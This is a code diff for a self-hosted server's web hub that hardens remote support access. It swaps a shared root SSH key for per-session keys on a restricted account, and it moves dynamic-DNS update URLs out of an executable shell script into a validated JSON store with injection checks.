os.remove(SUPPORT_USER_AUTH_KEYS)
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# Remove from root's authorized_keys (fallback / legacy)
|
||||
try:
|
||||
with open(AUTHORIZED_KEYS, "r") as f:
|
||||
lines = f.readlines()
|
||||
filtered = [l for l in lines if SUPPORT_KEY_COMMENT not in l]
|
||||
with open(AUTHORIZED_KEYS, "w") as f:
|
||||
f.writelines(filtered)
|
||||
os.chmod(AUTHORIZED_KEYS, 0o600)
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# Remove the dedicated key file
|
||||
# Remove the dedicated key file (legacy path, best-effort)
|
||||
try:
|
||||
os.remove(SUPPORT_KEY_FILE)
|
||||
except FileNotFoundError:
|
||||
@@ -2213,8 +2340,8 @@ def _disable_support() -> bool:
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# Re-apply ACLs to ensure wallet access is revoked
|
||||
_revoke_wallet_acls()
|
||||
# Re-apply deny ACLs to restore wallet protection
|
||||
_apply_wallet_acls()
|
||||
|
||||
# Remove session metadata
|
||||
try:
|
||||
@@ -2229,19 +2356,14 @@ def _disable_support() -> bool:
|
||||
|
||||
|
||||
def _verify_support_removed() -> bool:
|
||||
"""Verify the support key is truly gone from all authorized_keys files."""
|
||||
"""Verify the support key is truly gone from the support user's authorized_keys."""
|
||||
try:
|
||||
with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
|
||||
if SUPPORT_KEY_COMMENT in f.read():
|
||||
if f.read().strip():
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
try:
|
||||
with open(AUTHORIZED_KEYS, "r") as f:
|
||||
content = f.read()
|
||||
return SUPPORT_KEY_COMMENT not in content
|
||||
except FileNotFoundError:
|
||||
return True # No file = no key = removed
|
||||
return True
|
||||
|
||||
|
||||
# ── Routes ───────────────────────────────────────────────────────
|
||||
@@ -3855,10 +3977,24 @@ async def api_support_status():
|
||||
}
|
||||
|
||||
|
||||
class SupportEnableRequest(BaseModel):
|
||||
ssh_public_key: str
|
||||
|
||||
|
||||
@app.post("/api/support/enable")
|
||||
async def api_support_enable():
|
||||
"""Add the Sovran support SSH key to allow remote tech support.
|
||||
Requires the sshd feature to be enabled first."""
|
||||
async def api_support_enable(req: SupportEnableRequest):
|
||||
"""Install a per-session SSH public key for the restricted support account.
|
||||
|
||||
The caller must supply a validated Ed25519 or ECDSA public key. The key
|
||||
is installed only for the ``sovran-support`` restricted user; root's
|
||||
``authorized_keys`` is never modified. SSH must be enabled first.
|
||||
"""
|
||||
# Validate the submitted public key before doing anything else
|
||||
try:
|
||||
validated_key = _validate_ssh_pubkey(req.ssh_public_key)
|
||||
except ValueError as exc:
|
||||
raise HTTPException(status_code=400, detail=f"Invalid SSH public key: {exc}")
|
||||
|
||||
loop = asyncio.get_event_loop()
|
||||
|
||||
# Gate: SSH feature must be enabled before support can be activated
|
||||
@@ -3869,7 +4005,7 @@ async def api_support_enable():
|
||||
detail="SSH must be enabled first. Please enable SSH Remote Access, then try again.",
|
||||
)
|
||||
|
||||
ok = await loop.run_in_executor(None, _enable_support)
|
||||
ok = await loop.run_in_executor(None, _enable_support, validated_key)
|
||||
if not ok:
|
||||
raise HTTPException(status_code=500, detail="Failed to enable support access")
|
||||
return {"ok": True, "message": "Support access enabled"}
|
||||
@@ -4212,6 +4348,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
|
||||
if req.feature == "haven":
|
||||
npub = (req.extra or {}).get("nostr_npub", "").strip()
|
||||
if npub:
|
||||
if not _validate_npub(npub):
|
||||
raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
|
||||
nostr_npub = npub
|
||||
elif not nostr_npub:
|
||||
raise HTTPException(status_code=400, detail="nostr_npub is required for Haven")
|
||||
@@ -4227,6 +4365,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
|
||||
# Persist any extra fields (nostr_npub)
|
||||
new_npub = (req.extra or {}).get("nostr_npub", "").strip()
|
||||
if new_npub:
|
||||
if not _validate_npub(new_npub):
|
||||
raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
|
||||
nostr_npub = new_npub
|
||||
try:
|
||||
os.makedirs(os.path.dirname(NOSTR_NPUB_FILE), exist_ok=True)
|
||||
@@ -4238,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
|
||||
await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
|
||||
|
||||
# When enabling a feature that relies on dynamic DNS, refresh the Njal.la
|
||||
# records right away instead of waiting for the 15-minute cron tick.
|
||||
# records right away instead of waiting for the 15-minute timer tick.
|
||||
# The newly enabled service needs DNS pointing at this machine as soon as
|
||||
# the rebuild finishes (cert issuance, reachability).
|
||||
if req.enabled and feat_meta.get("needs_ddns"):
|
||||
await loop.run_in_executor(None, _ensure_njalla_script)
|
||||
await loop.run_in_executor(None, _run_njalla_ddns)
|
||||
|
||||
# Clear the old rebuild log so the frontend doesn't pick up stale results
|
||||
@@ -4349,75 +4488,107 @@ def _validate_safe_name(name: str) -> bool:
|
||||
|
||||
_NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
|
||||
|
||||
# Import the migration regex from support_ops so there is a single canonical
|
||||
# definition used by both the production server and the test suite.
|
||||
_LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
|
||||
|
||||
def _ensure_njalla_script() -> None:
|
||||
"""Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
|
||||
|
||||
The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
|
||||
If the file exists only because of an append (e.g. the web app saved a
|
||||
domain before the njalla-init systemd unit ran), it would lack the IP
|
||||
lookup — ${IP} would expand empty during cron runs and the file couldn't
|
||||
be executed directly. Keep in sync with modules/core/njalla.nix.
|
||||
def _migrate_legacy_njalla_script() -> None:
|
||||
"""Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
|
||||
|
||||
Reads ``njalla.sh`` without executing or sourcing it. Parses only the
|
||||
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||
versions. Delegates to ``support_ops.migrate_legacy_njalla_script`` so
|
||||
tests can exercise the same code path.
|
||||
|
||||
After migration the script is archived with permissions 0o000 so it can
|
||||
no longer be executed. If persistence fails the script is left untouched.
|
||||
"""
|
||||
njalla_dir = os.path.dirname(NJALLA_SCRIPT)
|
||||
_support_ops.migrate_legacy_njalla_script(
|
||||
NJALLA_SCRIPT,
|
||||
_validate_ddns_url,
|
||||
_save_ddns_urls,
|
||||
_load_ddns_urls,
|
||||
audit_fn=_log_support_audit,
|
||||
)
|
||||
|
||||
|
||||
def _load_ddns_urls() -> list[str]:
|
||||
"""Return the list of validated DDNS update URLs from the JSON store."""
|
||||
try:
|
||||
with open(NJALLA_DDNS_URLS_FILE, "r") as f:
|
||||
data = json.load(f)
|
||||
if isinstance(data, list):
|
||||
return [u for u in data if isinstance(u, str)]
|
||||
except (OSError, json.JSONDecodeError):
|
||||
pass
|
||||
return []
|
||||
|
||||
|
||||
def _save_ddns_urls(urls: list[str]) -> None:
|
||||
"""Persist the list of DDNS update URLs to the JSON store (atomic write)."""
|
||||
njalla_dir = os.path.dirname(NJALLA_DDNS_URLS_FILE)
|
||||
if njalla_dir:
|
||||
os.makedirs(njalla_dir, exist_ok=True)
|
||||
existing = ""
|
||||
fd, tmp = tempfile.mkstemp(dir=njalla_dir, prefix=".ddns_urls_tmp")
|
||||
try:
|
||||
with open(NJALLA_SCRIPT, "r") as f:
|
||||
existing = f.read()
|
||||
except OSError:
|
||||
pass
|
||||
# Use a unique sentinel instead of substring domain check — avoids
|
||||
# CodeQL py/incomplete-url-substring-sanitization false positive and
|
||||
# is more robust than matching "myip.opendns.com" anywhere in file.
|
||||
if _NJALLA_HEADER_SENTINEL in existing:
|
||||
return # base header already present
|
||||
# Backwards compat: old files have the dig line but no sentinel.
|
||||
# Check for the dig marker without using a domain substring to avoid
|
||||
# CodeQL py/incomplete-url-substring-sanitization.
|
||||
if "IP=$(dig" in existing:
|
||||
# Migrate old file by prepending sentinel for future checks
|
||||
with os.fdopen(fd, "w") as f:
|
||||
json.dump(urls, f)
|
||||
os.replace(tmp, NJALLA_DDNS_URLS_FILE)
|
||||
except Exception:
|
||||
try:
|
||||
with open(NJALLA_SCRIPT, "r") as f:
|
||||
old_content = f.read()
|
||||
with open(NJALLA_SCRIPT, "w") as f:
|
||||
f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
|
||||
os.chmod(NJALLA_SCRIPT, 0o755)
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return
|
||||
header = (
|
||||
"#!/usr/bin/env bash\n"
|
||||
f"{_NJALLA_HEADER_SENTINEL}\n"
|
||||
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
|
||||
"## Add DDNS entries below — one curl per line\n"
|
||||
"## Managed via Sovran Hub web interface\n"
|
||||
)
|
||||
try:
|
||||
with open(NJALLA_SCRIPT, "w") as f:
|
||||
f.write(header + existing)
|
||||
os.chmod(NJALLA_SCRIPT, 0o755)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
|
||||
def _run_njalla_ddns() -> None:
|
||||
"""Run the Njal.la DDNS script immediately (best-effort).
|
||||
"""Update Njal.la DDNS records immediately (best-effort).
|
||||
|
||||
Resolves the current public IP once, then invokes ``curl`` directly as a
|
||||
subprocess for each stored DDNS update URL. No shell interpolation is
|
||||
performed and no user-controlled value is interpreted as shell syntax.
|
||||
Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
|
||||
substitution; URLs that fail validation are silently skipped.
|
||||
|
||||
Called when a domain/DDNS entry is saved and when a DDNS-backed feature
|
||||
is enabled, so DNS is refreshed right away instead of waiting for the
|
||||
15-minute cron job (see configuration.nix).
|
||||
15-minute timer tick (see modules/core/njalla.nix).
|
||||
"""
|
||||
if not os.path.isfile(NJALLA_SCRIPT):
|
||||
urls = _load_ddns_urls()
|
||||
if not urls:
|
||||
return
|
||||
# Resolve current public IP (best-effort; skip if unavailable)
|
||||
public_ip = ""
|
||||
try:
|
||||
subprocess.run(
|
||||
["bash", NJALLA_SCRIPT], timeout=30, check=False,
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
ip_result = subprocess.run(
|
||||
["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
|
||||
capture_output=True, text=True, timeout=10, check=False,
|
||||
)
|
||||
raw_ip = ip_result.stdout.strip().splitlines()[0] if ip_result.stdout.strip() else ""
|
||||
# Validate strictly as a proper IPv4/IPv6 address before substitution
|
||||
ipaddress.ip_address(raw_ip)
|
||||
public_ip = raw_ip
|
||||
except Exception:
|
||||
pass
|
||||
public_ip = ""
|
||||
|
||||
if not public_ip:
|
||||
return # skip to avoid sending bare ${IP} to curl
|
||||
|
||||
for raw_url in urls:
|
||||
try:
|
||||
# Replace the placeholder with the validated IP (safe string replacement)
|
||||
url = raw_url.replace("${IP}", public_ip)
|
||||
# Revalidate after substitution — enforces /update/ path, no $, etc.
|
||||
_validate_ddns_url(url)
|
||||
subprocess.run(
|
||||
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
|
||||
timeout=20, check=False,
|
||||
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _reload_caddy_for_domain_change() -> None:
|
||||
@@ -4550,25 +4721,29 @@ async def api_domains_set(req: DomainSetRequest):
|
||||
|
||||
if req.ddns_url:
|
||||
ddns_url = req.ddns_url.strip()
|
||||
# Strip leading "curl " if present
|
||||
# Strip leading "curl " if user pasted the full command from Njalla's UI
|
||||
if ddns_url.lower().startswith("curl "):
|
||||
ddns_url = ddns_url[5:].strip()
|
||||
# Strip surrounding quotes
|
||||
if len(ddns_url) >= 2 and ddns_url[0] in ('"', "'") and ddns_url[-1] == ddns_url[0]:
|
||||
ddns_url = ddns_url[1:-1]
|
||||
# Replace trailing &auto with &a=${IP}
|
||||
# Replace trailing &auto with the IP placeholder used by _run_njalla_ddns
|
||||
if ddns_url.endswith("&auto"):
|
||||
ddns_url = ddns_url[:-5] + "&a=${IP}"
|
||||
# Append curl line to njalla.sh, creating the base script first if
|
||||
# needed so the shebang/IP lookup are present for this run and cron.
|
||||
_ensure_njalla_script()
|
||||
with open(NJALLA_SCRIPT, "a") as f:
|
||||
f.write(f'curl "{ddns_url}"\n')
|
||||
# Validate URL strictly — reject injection attempts before persisting
|
||||
try:
|
||||
os.chmod(NJALLA_SCRIPT, 0o755)
|
||||
ddns_url = _validate_ddns_url(ddns_url)
|
||||
except ValueError as exc:
|
||||
raise HTTPException(status_code=400, detail=f"Invalid DDNS URL: {exc}")
|
||||
# Persist the URL in the JSON store (never in executable shell source)
|
||||
existing_urls = _load_ddns_urls()
|
||||
if ddns_url not in existing_urls:
|
||||
existing_urls.append(ddns_url)
|
||||
try:
|
||||
_save_ddns_urls(existing_urls)
|
||||
except OSError:
|
||||
pass
|
||||
# Run njalla.sh immediately to update DNS
|
||||
# Run DDNS update immediately
|
||||
_run_njalla_ddns()
|
||||
|
||||
# Regenerate the server-local /etc/hosts loopback entries so the newly
|
||||
@@ -6023,9 +6198,44 @@ async def _startup_domain_reachability():
|
||||
_domain_reachability_task = asyncio.create_task(_background_domain_reachability_checker())
|
||||
|
||||
|
||||
@app.on_event("startup")
|
||||
async def _startup_security_migrations():
|
||||
"""Run one-time security upgrade migrations on every server start."""
|
||||
loop = asyncio.get_event_loop()
|
||||
# Migrate legacy njalla.sh DDNS lines to JSON store and archive the script
|
||||
await loop.run_in_executor(None, _migrate_legacy_njalla_script)
|
||||
# Remove the legacy fleet-wide support key from /root/.ssh/authorized_keys
|
||||
await loop.run_in_executor(None, _remove_legacy_root_support_key)
|
||||
# Expire any support session that has passed its deadline
|
||||
await loop.run_in_executor(None, _expire_support_if_stale)
|
||||
# Reconcile the expiry timer: if a valid session survived startup expiry,
|
||||
# schedule the server-side timer so expiry occurs even without user activity.
|
||||
await loop.run_in_executor(None, _reconcile_expiry_timer)
|
||||
|
||||
|
||||
def _reconcile_expiry_timer() -> None:
|
||||
"""Reschedule the expiry timer from persisted session metadata on startup.
|
||||
|
||||
Called after ``_expire_support_if_stale`` so only still-valid sessions are
|
||||
rescheduled. Cancels any previously running timer first.
|
||||
"""
|
||||
try:
|
||||
with open(SUPPORT_STATUS_FILE, "r") as f:
|
||||
info = json.load(f)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
_cancel_expiry_timer()
|
||||
return
|
||||
session_id = info.get("session_id")
|
||||
expires_at = info.get("expires_at")
|
||||
if session_id and expires_at and time.time() < expires_at:
|
||||
_schedule_expiry_timer(session_id, expires_at)
|
||||
else:
|
||||
_cancel_expiry_timer()
|
||||
|
||||
|
||||
@app.on_event("shutdown")
|
||||
async def _shutdown_domain_reachability():
|
||||
"""Stop the background domain reachability checker."""
|
||||
"""Stop the background domain reachability checker and cancel expiry timer."""
|
||||
global _domain_reachability_task
|
||||
async with _domain_reachability_task_lock:
|
||||
task = _domain_reachability_task
|
||||
@@ -6034,3 +6244,4 @@ async def _shutdown_domain_reachability():
|
||||
task.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError):
|
||||
await task
|
||||
_cancel_expiry_timer()
|
||||
@@ -110,12 +110,26 @@ function renderSupportInactive() {
|
||||
'</div>',
|
||||
'<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
|
||||
'<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
|
||||
'<li>Our SSH key is added only to that restricted account</li>',
|
||||
'<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
|
||||
'<li>Wallet files are locked via access controls — not visible to support</li>',
|
||||
'<li>You control if and when wallet access is granted (time-limited)</li>',
|
||||
'<li>All session events are logged for your audit</li>',
|
||||
'<li>Access expires automatically after 24 hours</li>',
|
||||
'</ol></div>',
|
||||
'<div class="support-key-section">',
|
||||
'<label class="support-key-label" for="support-ssh-pubkey">',
|
||||
'<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
|
||||
'</label>',
|
||||
'<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
|
||||
'placeholder="ssh-ed25519 AAAA… support-session" ',
|
||||
'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
|
||||
'<p class="support-key-hint">',
|
||||
'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
|
||||
'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
|
||||
'</p>',
|
||||
'</div>',
|
||||
'<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
|
||||
'<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
|
||||
'<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
|
||||
'</div>',
|
||||
].join("");
|
||||
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
|
||||
|
||||
async function enableSupport() {
|
||||
var btn = document.getElementById("btn-support-enable");
|
||||
var errEl = document.getElementById("support-key-error");
|
||||
var textarea = document.getElementById("support-ssh-pubkey");
|
||||
if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
|
||||
|
||||
var sshKey = textarea ? textarea.value.trim() : "";
|
||||
if (!sshKey) {
|
||||
if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
// Client-side pre-validation: key must start with a known algorithm prefix
|
||||
var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
|
||||
var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
|
||||
if (!hasValidPrefix) {
|
||||
if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
if (sshKey.indexOf("\n") !== -1) {
|
||||
if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
|
||||
return;
|
||||
}
|
||||
|
||||
if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
|
||||
try {
|
||||
await apiFetch("/api/support/enable", { method: "POST" });
|
||||
await apiFetch("/api/support/enable", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ ssh_public_key: sshKey }),
|
||||
});
|
||||
var status = await apiFetch("/api/support/status");
|
||||
_supportStatus = status;
|
||||
_supportEnabledAt = status.enabled_at;
|
||||
renderSupportActive(status);
|
||||
} catch (err) {
|
||||
if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
|
||||
alert("Failed to enable support access. Please try again.");
|
||||
var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
|
||||
if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
|
||||
else { alert(detail); }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,283 @@
|
||||
"""Sovran Hub — injectable support session operations.
|
||||
|
||||
Functions here handle legacy migration, root-key removal, and support-session
|
||||
expiry. All filesystem paths, clocks, and callback functions are injectable
|
||||
so that the test suite can exercise the exact production implementations with
|
||||
temporary files and mocks rather than maintaining separate copies.
|
||||
|
||||
All functions depend only on the Python standard library and the co-located
|
||||
``security_helpers`` module.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
import time as _time_module
|
||||
from typing import Callable
|
||||
|
||||
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
|
||||
#
|
||||
# Matches both forms written by old Hub versions:
|
||||
# curl [flags] https://njal.la/... (unquoted)
|
||||
# curl [flags] "https://njal.la/..." (quoted — historical form)
|
||||
#
|
||||
# Optional flags (in order): --silent, --max-time N, --fail
|
||||
#
|
||||
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
|
||||
# ${...} except the literal ${IP} placeholder, and any extra arguments.
|
||||
_LEGACY_NJALLA_CURL_RE = re.compile(
|
||||
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
||||
r'(?:'
|
||||
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
|
||||
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
|
||||
r')$'
|
||||
)
|
||||
|
||||
# The exact base64 blob of the historical fleet-wide root support key that
|
||||
# was shipped with old releases of Sovran_SystemsOS and must be removed from
|
||||
# /root/.ssh/authorized_keys on upgrade.
|
||||
LEGACY_ROOT_KEY_BLOB = (
|
||||
"AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
|
||||
)
|
||||
|
||||
|
||||
def remove_legacy_root_key(
|
||||
authorized_keys_path: str,
|
||||
target_blob: str,
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> bool:
|
||||
"""Remove the exact historical fleet-wide support key from an authorized_keys file.
|
||||
|
||||
Identifies the key by its exact base64 blob (``parts[1]``), regardless of
|
||||
algorithm prefix or comment field. All other keys, blank lines, and comment
|
||||
lines are preserved unchanged. The file is written back atomically.
|
||||
|
||||
Args:
|
||||
authorized_keys_path: Path to the authorized_keys file to modify.
|
||||
target_blob: The exact base64 key blob to remove. Only lines whose
|
||||
second whitespace-delimited field matches this value are removed;
|
||||
no substring or comment matching is performed.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. The full key blob is **never** passed to this callback.
|
||||
|
||||
Returns:
|
||||
``True`` if the file was modified (at least one line removed),
|
||||
``False`` if unchanged or absent.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(authorized_keys_path, "r") as f:
|
||||
lines = f.readlines()
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
kept: list[str] = []
|
||||
removed_count = 0
|
||||
for line in lines:
|
||||
stripped = line.rstrip("\n")
|
||||
parts = stripped.split()
|
||||
# Key lines have at least two space-separated fields: algorithm + blob.
|
||||
# Remove only lines whose blob (parts[1]) matches exactly — no
|
||||
# substring matching, no comment matching.
|
||||
if len(parts) >= 2 and parts[1] == target_blob:
|
||||
removed_count += 1
|
||||
# Audit without logging the key blob itself.
|
||||
_audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
|
||||
else:
|
||||
kept.append(line)
|
||||
|
||||
if removed_count == 0:
|
||||
return False
|
||||
|
||||
# Atomic write: mkstemp in same directory + os.replace
|
||||
auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
|
||||
fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
|
||||
try:
|
||||
with os.fdopen(fd, "w") as f:
|
||||
f.writelines(kept)
|
||||
os.chmod(tmp, 0o600)
|
||||
os.replace(tmp, authorized_keys_path)
|
||||
except Exception:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return False
|
||||
|
||||
_audit(
|
||||
"LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
|
||||
f"removed={removed_count} keys_retained={len(kept)}",
|
||||
)
|
||||
return True
|
||||
|
||||
|
||||
def migrate_legacy_njalla_script(
|
||||
script_path: str,
|
||||
validate_fn: Callable[[str], str],
|
||||
save_fn: Callable[[list[str]], None],
|
||||
load_fn: Callable[[], list[str]],
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> None:
|
||||
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
|
||||
|
||||
Reads the script **without** executing or sourcing it. Parses only the
|
||||
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||
versions. Any other line is silently discarded — never executed or logged
|
||||
(it may contain secret tokens).
|
||||
|
||||
On successful persistence the script is archived with mode ``0o000`` so
|
||||
it can no longer be executed. If persistence fails the script is left
|
||||
**untouched**.
|
||||
|
||||
Args:
|
||||
script_path: Path to the legacy njalla.sh file.
|
||||
validate_fn: URL validation function; raises ``ValueError`` on invalid
|
||||
URLs. Callers must substitute the ``${IP}`` placeholder before
|
||||
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
|
||||
to the validator.
|
||||
save_fn: Callable that atomically writes a ``list[str]`` URL list to
|
||||
the persistent JSON store.
|
||||
load_fn: Callable that returns the current ``list[str]`` URL list from
|
||||
the persistent store.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. Token-bearing URLs are **never** passed to this callback.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(script_path, "r") as f:
|
||||
content = f.read()
|
||||
except FileNotFoundError:
|
||||
return
|
||||
except OSError:
|
||||
return
|
||||
|
||||
existing_urls = load_fn()
|
||||
|
||||
new_urls: list[str] = []
|
||||
for raw_line in content.splitlines():
|
||||
line = raw_line.strip()
|
||||
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
||||
continue
|
||||
m = _LEGACY_NJALLA_CURL_RE.match(line)
|
||||
if not m:
|
||||
# Unrecognised line — discard silently, do NOT log (may contain tokens)
|
||||
continue
|
||||
# group(1) = quoted form, group(2) = unquoted form
|
||||
raw_url = m.group(1) or m.group(2)
|
||||
# Substitute placeholder so host/scheme/path validation works
|
||||
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
||||
try:
|
||||
validate_fn(url_to_validate)
|
||||
except ValueError:
|
||||
continue # Silently discard invalid/non-Njal.la URLs
|
||||
if raw_url not in existing_urls and raw_url not in new_urls:
|
||||
new_urls.append(raw_url)
|
||||
|
||||
if new_urls:
|
||||
combined = existing_urls + new_urls
|
||||
try:
|
||||
save_fn(combined)
|
||||
except Exception:
|
||||
# Persistence failed — leave the script untouched, return without
|
||||
# archiving so the migration can be retried.
|
||||
return
|
||||
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
|
||||
|
||||
# Archive: remove all permission bits so cron/any mechanism cannot run it
|
||||
try:
|
||||
os.chmod(script_path, 0o000)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def expire_if_stale(
|
||||
status_file: str,
|
||||
*,
|
||||
clock_fn: Callable[[], float] | None = None,
|
||||
disable_fn: Callable[[], bool] | None = None,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
session_id: str | None = None,
|
||||
expected_expiry: float | None = None,
|
||||
max_session_seconds: float = 86400.0,
|
||||
) -> bool:
|
||||
"""Expire a support session if its deadline has passed.
|
||||
|
||||
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
|
||||
provided (used by the server-side timer callback), the stored session
|
||||
metadata is compared field-by-field. A mismatch means a replacement
|
||||
session has been started after this timer was scheduled; in that case the
|
||||
function returns ``False`` without touching anything.
|
||||
|
||||
Args:
|
||||
status_file: Path to the JSON session metadata file.
|
||||
clock_fn: Callable returning current Unix time (default: ``time.time``).
|
||||
disable_fn: Callable that performs the full disable sequence — removes
|
||||
the support key, removes wallet-unlock metadata, restores deny
|
||||
ACLs, clears session metadata, and audits the event. If ``None``,
|
||||
expiry is detected but no action is taken (useful for tests that
|
||||
want to inspect detection only).
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging.
|
||||
session_id: If given, expiry is skipped unless the stored
|
||||
``session_id`` field matches exactly.
|
||||
expected_expiry: If given, expiry is skipped unless the stored
|
||||
``expires_at`` field matches exactly.
|
||||
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
|
||||
when ``expires_at`` is absent.
|
||||
|
||||
Returns:
|
||||
``True`` if a session was expired, ``False`` otherwise.
|
||||
"""
|
||||
_now = clock_fn if clock_fn is not None else _time_module.time
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
def _disable() -> bool:
|
||||
return disable_fn() if disable_fn is not None else True
|
||||
|
||||
try:
|
||||
with open(status_file, "r") as f:
|
||||
info = json.load(f)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
return False
|
||||
|
||||
# Stale-timer guard
|
||||
if session_id is not None and info.get("session_id") != session_id:
|
||||
return False
|
||||
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
|
||||
return False
|
||||
|
||||
expires_at = info.get("expires_at")
|
||||
now = _now()
|
||||
|
||||
if expires_at is None:
|
||||
enabled_at = info.get("enabled_at", 0)
|
||||
if enabled_at and (now - enabled_at) > max_session_seconds:
|
||||
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
|
||||
_disable()
|
||||
return True
|
||||
return False
|
||||
|
||||
if now >= expires_at:
|
||||
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
|
||||
_disable()
|
||||
return True
|
||||
|
||||
return False
|
||||
